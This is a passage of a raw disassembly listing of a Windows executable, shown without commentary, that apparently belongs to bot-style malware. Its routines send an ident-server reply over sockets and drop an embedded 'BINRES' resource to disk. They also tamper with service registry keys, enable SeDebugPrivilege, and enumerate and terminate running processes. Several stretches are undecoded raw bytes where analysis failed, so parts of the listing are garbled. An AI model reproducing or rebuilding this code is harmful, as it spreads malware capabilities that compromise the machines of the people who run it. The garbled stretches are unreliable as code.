		test	al, al
		jnz	loc_41F102
		pop	ebp
		pop	ebx


loc_41F750:				; CODE XREF: sub_41F030+BEj
		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F75A:				; CODE XREF: sub_41F030+82j
					; sub_41F030+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41F030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F960	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F99D
		mov	byte_4E8E99, 0
		jmp	loc_41FB01
; ---------------------------------------------------------------------------


loc_41F99D:				; CODE XREF: sub_41F960+2Fj
		mov	cl, byte_44927B
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E8E99, 1
		jnz	loc_41FAF4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_402009
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41FAE7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_40142E
		mov	[esp+0A0h+var_4], ebx
		call	sub_401F0A
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_448F30
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015E1
		cmp	edi, ebx
		jle	short loc_41FA66


loc_41FA0A:				; CODE XREF: sub_41F960+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_40142E
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FDC
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_444E5C
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41FA0A


loc_41FA66:				; CODE XREF: sub_41F960+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_401479
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017EE
		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_5FADE9
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		call	near ptr 71AB428Ah
		nop
		mov	esi, dword_511C9C
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E8E99, bl
		pop	edi
		jmp	short loc_41FAFE
; ---------------------------------------------------------------------------


loc_41FAE7:				; CODE XREF: sub_41F960+67j
		push	7D0h
		nop
		call	near ptr 2830000h
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F960+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_511C9C


loc_41FAFE:				; CODE XREF: sub_41F960+185j
		push	ebp
		call	esi	; closesocket


loc_41FB01:				; CODE XREF: sub_41F960+38j
					; sub_41F960+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F960	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FB90	proc near		; CODE XREF: sub_401AD2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FBCB
		dec	eax
		jz	short loc_41FBB4
		dec	eax
		jnz	short loc_41FBF1
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 4
		call	sub_401DE3
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBB4:				; CODE XREF: sub_41FB90+8j
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 7
		call	sub_401028
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBCB:				; CODE XREF: sub_41FB90+5j
		mov	ecx, dword_50DB28
		xor	eax, eax
		mov	dword_50DB14, eax
		mov	dword_50DB0C, 1
		mov	dword_50DB1C, eax
		mov	dword_50DB20, eax
		call	sub_40174E


loc_41FBF1:				; CODE XREF: sub_41FB90+Bj
					; sub_41FB90+22j ...
		mov	eax, dword_50DB2C
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		nop
		call	near ptr 28F081Fh
		retn	4
sub_41FB90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC30:				; CODE XREF: ___:loc_401965j
		push	esi
		xor	esi, esi
		push	offset sub_401AD2
		mov	ecx, offset byte_44990F
		mov	dword_50DB08, 20h
		mov	dword_50DB0C, 2
		mov	dword_50DB10, 3
		mov	dword_50DB14, esi
		mov	dword_50DB18, esi
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 28F0476h
		cmp	eax, esi
		mov	dword_50DB2C, eax
		jz	short loc_41FCAA
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		nop
		call	near ptr 28F081Fh


loc_41FCAA:				; CODE XREF: ___:0041FC86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FCD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F068
		mov	eax, esi
		pop	esi
		retn
sub_41FCD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD00	proc near		; CODE XREF: sub_401CF3j

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50DB28, ecx
		push	100h
		mov	ecx, offset byte_44990F
		call	sub_4017EE
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401965
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 28F0000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FD00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FD80:				; CODE XREF: ___:00401C44j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FDA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDA2:				; CODE XREF: ___:0041FD9Aj
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 2871BC3h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FDB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDB9:				; CODE XREF: ___:0041FDB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		nop
		call	near ptr 27905DCh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FDDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDDC:				; CODE XREF: ___:0041FDD4j
		push	ebp
		push	edi
		push	esi
		call	near ptr 27A0000h
		nop
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 27A0544h
		push	ebp
		mov	esi, eax
		nop
		call	near ptr 27A08A4h
		push	ebx
		push	esi
		push	1
		push	eax
		call	near ptr 77C4173Bh
		nop
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40188Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE78
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_41FE71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FE71:				; CODE XREF: sub_41FE50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FE78:				; CODE XREF: sub_41FE50+Fj
		pop	esi
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE90	proc near		; CODE XREF: sub_401AA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FEAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEAE:				; CODE XREF: sub_41FE90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF0A:				; CODE XREF: sub_41FE90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF50	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FF6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF6E:				; CODE XREF: sub_41FF50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FFC0
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FFC0:				; CODE XREF: sub_41FF50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FF50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FFF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420024
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420027


loc_420024:				; CODE XREF: sub_41FFF0+14j
		or	eax, 0FFFFFFFFh


loc_420027:				; CODE XREF: sub_41FFF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FFF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420040	proc near		; CODE XREF: sub_402009j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_420076
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420076
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420079


loc_420076:				; CODE XREF: sub_420040+8j
					; sub_420040+1Aj
		or	eax, 0FFFFFFFFh


loc_420079:				; CODE XREF: sub_420040+34j
		pop	edi
		pop	esi
		retn
sub_420040	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_420090	proc near		; CODE XREF: sub_401604j

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_437B30
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_4382BC
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4200C3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_4200C3:				; CODE XREF: sub_420090+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42018D
		push	ebx
		mov	ebx, dword_5117E0
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_4200E5:				; CODE XREF: sub_420090+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420177
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_4382B6
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420170
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_4382B0
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0F3E85150h, 90778260h, 8508C483h
		dd 500D75C0h, 80E89056h, 0C6023702h, 1132444h
; ---------------------------------------------------------------------------


loc_420170:				; CODE XREF: sub_420090+A2j
		push	esi
		nop
		call	near ptr 2830942h


loc_420177:				; CODE XREF: sub_420090+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_4200E5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42018D:				; CODE XREF: sub_420090+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_420090	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4201F0	proc near		; CODE XREF: sub_401A0Aj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4201F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401870
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401EAB
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42036A
		lea	ecx, [esp+460h+var_43C]
		call	sub_40142E
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_40168B
		push	eax
		push	80000002h
		call	near ptr 2930000h
		nop
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		call	near ptr 28E0000h
		nop
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_5119E0
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_444ADC ; "\\"
		call	near ptr 76085AE4h
		nop
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		call	near ptr 7608B84Ch
		nop
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE1366E8h, 0ACE850FFh, 90023C08h, 14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F148E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42036A:				; CODE XREF: sub_4201F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4201F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420400	proc near		; CODE XREF: sub_401EABj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2900913h
		nop
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420425
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420425:				; CODE XREF: sub_420400+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	ebx
		call	near ptr 28A0000h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420450
		push	ebx
		call	near ptr 2910000h
		nop
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420450:				; CODE XREF: sub_420400+3Fj
		push	ebp
		push	edi
		mov	edi, dword_511748
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_511744
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_511754
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420400	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4204D0	proc near		; CODE XREF: sub_4018B6j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		nop
		call	near ptr 279036Bh
		push	eax
		nop
		call	near ptr 28C1568h
		mov	ebp, dword_511720
		mov	edi, dword_5118E0
		test	eax, eax
		jnz	short loc_420520
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		call	near ptr 27903BEh
		nop
		push	eax
		nop
		call	near ptr 28C1A9Eh
		test	eax, eax
		jz	short loc_42057F


loc_420520:				; CODE XREF: sub_4204D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420583
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 28D0000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420578
		nop
		call	near ptr 27C0890h
		cmp	eax, 514h
		jnz	short loc_420583
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42057D
; ---------------------------------------------------------------------------


loc_420578:				; CODE XREF: sub_4204D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42057D:				; CODE XREF: sub_4204D0+A6j
		call	edi


loc_42057F:				; CODE XREF: sub_4204D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420583:				; CODE XREF: sub_4204D0+54j
					; sub_4204D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 2700000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4205A8
		push	0
		push	esi
		nop
		call	near ptr 27903EBh
		push	esi
		mov	bl, 1
		call	edi


loc_4205A8:				; CODE XREF: sub_4204D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4205C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4205C7:				; CODE XREF: sub_4204D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4204D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420630	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420630
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	near ptr 2871BC3h
		nop
		test	eax, eax
		mov	dword_50DB30, eax
		jnz	short loc_42067C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 27E07CFh
		test	eax, eax
		mov	dword_50DB30, eax
		jz	loc_4207FA


loc_42067C:				; CODE XREF: sub_420630+32j
		mov	esi, dword_511918
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50DB34, eax
		mov	eax, dword_50DB30
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50DB30
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50DB38, eax
		call	esi
		mov	ecx, dword_50DB34
		mov	dword_50DB3C, eax
		test	ecx, ecx
		jz	loc_4207FA
		mov	edx, dword_50DB38
		test	edx, edx
		jz	loc_4207FA
		test	eax, eax
		jz	loc_4207FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4207FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4207E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_5117E0
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42073F:				; CODE XREF: sub_420630+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4207CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50DB38
		test	eax, eax
		jz	short loc_4207C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50DB3C
		lea	ecx, [esp+74h+var_54]
		call	sub_401875
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015E1
		mov	ecx, [edi]
